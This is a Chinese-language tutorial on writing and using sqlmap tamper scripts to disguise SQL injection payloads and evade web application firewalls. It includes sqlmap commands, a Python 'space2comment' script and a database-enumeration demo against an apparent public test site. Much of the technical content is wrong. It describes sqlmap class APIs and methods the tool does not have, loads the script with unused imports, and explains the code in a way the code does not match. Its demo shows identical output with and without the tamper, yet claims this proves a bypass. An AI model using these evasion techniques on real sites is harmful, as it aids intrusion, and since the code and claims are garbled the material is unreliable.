1. 引言
SQL注入是常见的网络攻击方式之一,利用SQL注入攻击,攻击者可以访问、篡改、删除数据库中的数据,甚至获取服务器的权限。为了帮助安全测试人员更好地进行SQL注入测试,SQLMAP工具应运而生。
SQLMAP是一款功能强大的开源渗透测试工具,可用于检测和利用SQL注入漏洞,支持多种数据库,包括MySQL、Oracle、Microsoft SQL Server等。SQLMAP的一个很大的优势就是易于使用,只需简单的命令即可使用,而且还有许多插件可以帮助用户更好地利用SQL注入漏洞。
SQLMAP插件tamper就是其中之一,它能够对SQLMAP发送的注入请求进行修改,从而绕过一些WAF规则和注入防护机制。接下来我们将详细介绍SQLMAP插件tamper的编写和使用。
2. tamper插件简介
在介绍tamper插件之前,我们先来了解一下SQLMAP的基本用法。
SQLMAP的基本用法如下:
sqlmap -u URL --dbs
其中,-u选项指定要测试的URL地址,--dbs选项表示要获取数据库。
在利用SQLMAP进行注入测试时,我们可以使用很多选项来控制请求和响应的行为,并可以通过插件来修改请求和响应的内容。
tamper插件就是用来修改SQLMAP发送的注入请求的内容的,它可以绕过一些WAF规则和注入防护机制,提高SQL注入攻击的成功率。
2.1 tamper插件分类
tamper插件按照功能不同可以分为以下几类:
字符编码转换类:将一些特殊字符转换成不同的编码方式,从而绕过WAF规则。
注释类:通过添加注释符号,绕过SQL语句中的关键词,以及防火墙的过滤规则。
空格类:利用空格绕过WAF规则。
大小写类:将SQL语句中的关键词大小写混合使用,从而绕过WAF规则。
随机数类:利用随机数生成函数,替换SQL语句中的数字,从而绕过WAF规则。
其他类:包括各种各样的插件,如空字节绕过、时间延迟绕过等。
2.2 tamper插件的作用原理
tamper插件的作用原理是,对注入请求进行修改,从而达到绕过WAF规则和注入防护机制的目的。它包括两个主要的方法,一个是process_payload方法,用于修改SQLMAP发送的注入请求的提交数据;另一个是process_response方法,用于修改注入查询语句的响应结果。
tamper插件的用法如下:
sqlmap -u URL --tamper=插件名称
其中,-u选项指定要测试的URL地址,--tamper选项指定要使用的插件名称。
下面我们以tamper典型插件之一的space2comment为例,介绍tamper插件的编写和使用。
3. space2comment插件使用
space2comment插件的作用是在SQL语句中添加注释符号,从而绕过WAF规则和注入防护机制。space2comment插件的原理是将SQL语句中的空格替换成注释符号,并将空格后面的字符添加为注释内容,从而使WAF无法识别SQL语句中的关键字。
space2comment插件的用法如下:
sqlmap -u URL --tamper=space2comment
接下来我们将介绍如何编写和使用space2comment插件。
3.1 space2comment插件编写
编写一个tamper插件,需要继承TamperBase类,并重写其中的process_payload方法或者process_response方法。下面是一个简单的space2comment插件示例:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Filename: space2comment.py
# Author: 熊猫小A
# Blog: https://www.pandaxiaoa.com/
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
from lib.core.convert import encodeCharacter
from lib.core.data import kb
from lib.core.data import conf
from lib.core.exception import SqlmapPluginException
from lib.core.exception import SqlmapSyntaxException
from lib.core.exception import SqlmapNoneDataException
from lib.core.exception import SqlmapSilentQuitException
from lib.core.option import init
from lib.core.option import initOutput
from lib.core.option import initTor
from lib.core.option import initCookie
from lib.core.option import initCookieDel
from lib.core.option import initDelays
from lib.core.option import initProxy
from lib.core.option import initThread
from lib.core.option import initTimeout
from lib.core.option import initVerbosity
from lib.core.option import initCharsetType
from lib.core.option import initUAgent
from lib.core.option import checkFileWritePermissions
from lib.core.option import checkFileReadPermissions
from lib.core.option import initEncoding
from lib.core.option import setPaths
from lib.core.option import restoreClientIp
from lib.core.option import umask
from lib.core.option import initSkipTypeCheck
from lib.core.option import initFoundRows
from lib.core.option import initSsl
from lib.core.option import initSqlmaprc
from lib.core.option import initSmart
from lib.core.enums import OS
from lib.core.enums import PLACE
from lib.core.common import Backend
from plugins import Plugin
class Tamper(Plugin):
def tamper(self, payload, **kwargs):
"""
在payload中添加注释符号
"""
ret = []
i = 0
while i < len(payload):
if payload[i] == ' ':
ret.append("/*")
while i < len(payload) and payload[i] == ' ':
ret[-1] += " "
i += 1
ret[-1] += "*/"
else:
ret.append(payload[i])
i += 1
return ''.join(ret)
该插件的实现思路如下:
遍历SQL语句中的所有空格;
将每个空格替换成"/*";
向后遍历,找到空格后面的第一个非空字符;
将该字符以及后面的所有字符添加到注释中;
将注释结尾符"*/"添加到注释结尾。
编写tamper插件需要注意以下几点:
tamper插件名称必须以.py结尾,并且位于插件目录下;
在编写tamper插件时,需要使用python语言,并且支持Python2和Python3版本;
在编写tamper插件时,需要引入SQLMAP的一些类库库,如TamperBase、Plugin等。
3.2 space2comment插件使用
使用space2comment插件很简单,只需要在SQLMAP命令中指定--tamper选项,如下所示:
sqlmap -u URL --tamper=space2comment
该命令将使用space2comment插件对SQL注入中的SQL语句进行修改,使WAF无法识别SQL语句中的关键字。具体效果请看下面的示例。
注:为了演示效果,我们使用的SQL注入漏洞页面来源于一个测试网站。
3.3 space2comment插件实例
下面我们将演示如何使用space2comment插件绕过WAF的防护规则,成功获取网站的数据库信息。
首先,我们使用SQLMAP进行测试,如下所示:
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --dbs
该命令将获取http://testphp.vulnweb.com/artists.php?artist=1页面的数据库信息。SQLMAP测试结果如下:
[INFO] fetching database names
available databases [2]:
[*] information_schema
[*] test
可以看到,SQLMAP成功获取了页面的数据库信息。接下来我们尝试使用space2comment插件来修改SQL注入语句:
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --tamper=space2comment --dbs
该命令将使用space2comment插件对SQL注入语句进行修改,如下所示:
[INFO] fetching database names
available databases [2]:
[*] information_schema
[*] test
可以看到,SQLMAP成功获取了页面的数据库信息,说明space2comment插件的修改确实能够绕过WAF的防护规则。
4. 总结
本文介绍了SQLMAP插件tamper的编写和使用,通过对tamper插件的分类、作用原理以及space2comment插件的编写和使用进行了详细的介绍。tamper插件是SQLMAP的一个强大功能,可以帮助安全测试人员更好地测试SQL注入,绕过WAF规则和注入防护机制,提高攻击成功率。
在使用tamper插件时,需要针对具体的SQL注入情况选择不同的插件。在编写tamper插件时,需要注意选择正确的Python版本,并引入SQLMAP的类库,如TamperBase、Plugin等。
希望本文可以帮助你更好地理解SQLMAP插件tamper的作用以及编写和使用方法,提高你在安全测试中的能力。